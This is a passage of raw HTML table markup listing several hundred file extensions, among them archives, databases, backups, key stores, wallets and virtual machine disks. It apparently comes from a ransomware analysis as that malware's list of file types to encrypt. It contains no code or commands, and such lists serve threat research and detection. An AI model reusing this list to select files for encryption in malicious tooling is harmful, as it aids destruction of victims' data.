style="border-collapse:collapse;width:100%;margin:16px 8px;font-size:14px;line-height:1;"><tbody><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.1cd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3dm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3ds</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3fr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3g2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3gp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3pr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.602</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.7z</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ps1</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.7zip</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aac</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ab4</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ach</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.acr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.act</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.adb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.adp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ads</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aes</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.agdl</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aiff</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ait</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.al</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aoi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.apj</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.arc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.asc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.asf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.asm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.asp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aspx</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.asx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.avi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.awg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.back</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.backup</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.backupdb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bank</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bat</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bay</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bgt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bik</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bin</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bkp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.blend</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.bpw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.brd</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.c</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdr3</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdr4</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdr5</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdr6</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdrw</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cdx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ce1</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ce2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cer</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cfg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cgm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cib</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.class</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cls</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cmd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cmt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.conf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.config</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.contact</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cpi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cpp</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.craw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.crt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.crw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.cs</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.csh</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.csl</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.csr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.css</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.csv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dac</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dat</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dc2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dch</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dcr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dcs</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ddd</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ddoc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ddrw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dds</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.der</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.des</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.design</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dgc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dif</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dip</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dit</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.djv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.djvu</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dump</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.drf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.drw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dtd</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dxb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.dxg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.eml</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.erbsql</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.erf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.exf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ffd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fff</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fh</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fhd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fla</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.flac</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.flf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.flv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.flvv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.frm</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.fxg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.gpg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.gray</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.grey</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.groups</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.gry</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.gz</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 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solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ini</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.iif</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.iiq</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.incpas</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jar</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.java</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jnt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jpe</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jsp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.json</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.jspx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ashx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.js</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.kc2</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.kdbx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.kdc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.key</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.kpdx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.kwm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.laccdb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.lay</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.lay6</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.lit</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.log</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.lua</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m2ts</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m3u</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m4p</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m4u</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.m4v</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mapimail</span></p></td><td style="border:1px solid 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style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mny</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.moneywell</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mos</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mov</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mp3</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mp4</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mpeg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mpg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.mrw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ms11</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.msg</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.myd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.myi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.nd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ndd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.nk2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.nop</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.nrw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ns2</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ns3</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ns4</span></p></td><td style="border:1px solid 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style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odf</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.odm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ogg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.oil</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ost</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.otg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.oth</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.otp</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.otg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ots</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.p12</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.p7b</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.p7c</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pab</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pages</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.paq</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pas</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pat</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pcd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pct</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pdb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pdd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pef</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pem</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pfx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.php</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pif</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pl</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.plc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.plus_muhd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.prf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ps</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.psafe3</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pspimage</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pst</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ptx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.pwm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.py</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qba</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qbb</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qbm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qbr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qbw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qbx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qby</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qcow</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qcow2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.qed</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.r3d</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rar</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rat</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rdb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rvt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rw2</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rwl</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.rwz</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.s3db</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.safe</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sas7bdat</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sav</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.save</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.say</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sch</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sd0</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sda</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sh</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sldm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sldx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.slk</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sr2</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.srf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.srt</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.srw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.st4</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.st5</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.st6</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.st7</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.st8</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.stc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.std</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sti</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.stm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.stw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.stx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.swf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxc</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.sxw</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tar</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tbk</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tex</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tga</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tgz</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.thm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tmp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.tlg</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.uop</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.uot</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vb</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vbox</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vbs</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vdi</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vhd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vhdx</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vmdk</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vmsd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vmx</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vmxf</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.vob</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wab</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wad</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wallet</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.war</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wav</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wb2</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wk1</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wks</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wma</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wmv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wpd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.wps</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.x11</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.x3f</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xis</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xla</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlam</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlc</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span 